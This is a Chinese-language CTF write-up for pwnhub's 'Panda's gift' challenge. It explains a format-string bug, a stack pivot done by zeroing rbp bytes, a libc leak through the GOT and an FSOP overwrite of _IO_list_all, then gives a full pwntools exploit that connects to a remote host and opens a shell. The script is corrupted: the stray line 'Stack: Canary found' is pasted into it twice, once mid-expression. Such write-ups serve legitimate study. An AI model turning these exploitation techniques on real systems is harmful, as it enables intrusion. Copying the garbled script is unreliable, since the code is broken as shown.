Pwnhub Panda's gift

写在前面

本萌新又开始玩pwn了,这次试一试pwnhub,竟然做出来了,希望有朝一日成为大佬。

题目描述

首先,题目是x64,开的保护如下:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

功能:

1.set name
2.set motto
3.show motto
4.Exit

且每个功能只能调用一次,除非修改bss段上的一个用作判断的值。
name和motto存放在mmap映射的空间中,空间的地址是由当前时间做种子生成的伪随机数与0xFFFFFFFF相与。

题目漏洞

题目存在一个格式化字符串的漏洞,处在1功能中,并且这个漏洞经历了两次函数调用,(第一次调用的函数没有其他代码,直接调用第二个函数)。有一次的scanf,其参数在栈中,这个漏洞在3功能中。
但是我们的格式化字符串只允许写入6个字符。

解题思路

修改scanf参数

既然,scanf的参数在栈中,只要我们能修改,就可以达到修改scanf参数的目的。
首先,我们虽然只能写入6个字符,不能达到写任何数据,但是我们可以写入\x00,另外我们的printf和主函数中间加了一个函数,于是返回时,栈就会抬高。这样,我们就可以通过将rbp的最后一个双字改为0,这样栈就能被抬高,这样,本来scanf的格式的参数(放在栈中),就会被抬高到我们可控的区间。
修改前栈空间

0000| 0x7ffc62400110 --> 0x7ffc62400120 --> 0x7ffc62400150 --> 0x7ffc62400180 --> 0x7ffc62619320 --> 0x400fb0 (push   r15)
0008| 0x7ffc62400118 --> 0x400d47 (nop)
0016| 0x7ffc62400120 --> 0x7ffc62400150 --> 0x7ffc62400180 --> 0x7ffc62619320 --> 0x400fb0 (push   r15)
0024| 0x7ffc62400128 --> 0x400eba (jmp    0x400f4b)
0032| 0x7ffc62400130 --> 0x0 
0040| 0x7ffc62400138 --> 0x100400bf8 
0048| 0x7ffc62400140 --> 0x4010bc --> 0x796e6f6e61006425 ('%d')
0056| 0x7ffc62400148 --> 0x99eb47c21da21700
----------------------------------
RBP: 0x7ffc62400110 --> 0x7ffc62400120 --> 0x7ffc62400150 --> 0x7ffc62400180 --> 0x7ffc62619320 --> 0x400fb0 (push   r15)

修改后栈空间

0000| 0x7ffc62400110 --> 0x7ffc62400120 --> 0x7ffc62400000 --> 0x400980 (xor    ebp,ebp)
0008| 0x7ffc62400118 --> 0x400d47 (nop)
0016| 0x7ffc62400120 --> 0x7ffc62400000 --> 0x400980 (xor    ebp,ebp)
0024| 0x7ffc62400128 --> 0x400eba (jmp    0x400f4b)
0032| 0x7ffc62400130 --> 0x0 
0040| 0x7ffc62400138 --> 0x100400bf8 
0048| 0x7ffc62400140 --> 0x4010bc --> 0x796e6f6e61006425 ('%d')
0056| 0x7ffc62400148 --> 0x99eb47c21da21700 

0x7ffc62400000上面有一部分值是我们添加motto时可控的,于是我们就能把scanf的参数改掉:
0x7ffc623ffff0就是我们存放参数的地方,我们可以使得其中内容为我们可以控制的地方,比如说能放置motto的mmap的空间:

0x7ffc623ffff0: 0x000000001ca13000

然后只要我们在motto上写入我们想要的格式。

leak address

当我们控制了scanf的格式后,我们就能对其参数进行修改。
栈上有这样的内容:

0032| 0x7ffc62400150 --> 0x7ffc62400180 --> 0x7ffc62619320 --> 0x400fb0 (push   r15)

于是我们通过修改0x7ffc62400150使得0x7ffc62400180指向的地址改变,之后修改0x7ffc62400180,改变0x7ffc62400180指向的地址中的内容,从而达到任意写。
经过计算,参数的偏移是10和16,于是,我们可以构造出这样的格式串,%d,%10$ld,%16$s,后面我们还需要使用3号功能,于是我们需要在之前加上%d。这样我们传入放置motto的地址,之后放入got表的地址,就能将got表的地址写入motto,这样我们调用3功能,就能leak出libc的地址。

0032| 0x7ffc62400150 --> 0x7ffc62400180 --> 0x602058 --> 0x601ff0 --> 0x7f041d70d030 (<__GI_exit>:  )

于是就能得到地址了。

修改 _IO_list_all

本题got表不可写,vtable处也不可写,于是我就使用了FSOP(可以看我上篇文章,bctf,baby_arena),写好之后,getshell。

exp

#coding=UTF-8
#author = rainbow541
from pwn import *
from ctypes import cdll

#context.log_level = 'debug'
bin = ELF('./babyfmt')

def set_name(p,text):
    p.recvuntil('>')
    p.sendline('1')
    p.recvuntil('name:')
    p.sendline(text)

def set_motto(p,text):
    p.recvuntil('>')
    p.sendline('2')
    p.recvuntil('motto:')
    p.sendline(text)

def pwn(i,local):
    if local == 1:
        p = process('./babyfmt')
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        libcc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        p = remote('54.222.191.56',9999)
        libc = ELF('./libc-2.23.so')
        libcc = cdll.LoadLibrary("./libc-2.23.so")
        
    address_dest  = 0x0000000000602058
    #----mmap address-----
    time = libcc.time(0) + i
    print "time:"+str(i)
    libcc.srand(time)
    v2 = libcc.rand() & 0xFFFFF000
    v3 = libcc.rand() & 0xFFFFF000
    success("v2: "+hex(v2))
    success("dest: "+hex(v3))
    #--------------------------
    #-------------fake file---
    fake_file = p64(0)*5
    fake_file += p64(233)
    fake_file += p64(0)*21
    fake_file += p64(v3+40+(28*8))
    #----------leak address---
    payload_stack = '%d,%10$ld,%16$s'
    set_motto(p,payload_stack + 'A'*(4*8-len(payload_stack))+p64(v3)+fake_file)
    print pidof(p)
Stack:    Canary found
    payload = "%6$hn"
    set_name(p,payload)
    p.sendline("3,"+str(address_dest)+","+p64(bin.got['exit']))
    print p.recvuntil(">")
    sleep(0.5)
    address = p.recvuntil("\n")[:-1]
    print address
    #--------------------------
    libc_exit_address = u64(address + '\x00'*(8-len(address)))
    success("libc_exit_address: "+hex(libc_exit_address))
    libc.address = libc_exit_address - libc.symbols['exit']
    success('libc_address: '+hex(libc.address))

    #---------------------------

    p.sendline("2,"+str(v3+40+(28*8)) + "," + p64(libc.
Stack:    Canary foundaddress + 0xf02a4)*21)
    p.sendline("2,"+str(libc.symbols['_IO_list_all']) + "," + p64(v3+40))
    p.interactive()

pwn(0,1)

后记

比赛第一天本地通了,远程一直没通,第二天换了台电脑,通了。。。。。。。

你可能感兴趣的:(Pwnhub Panda's gift)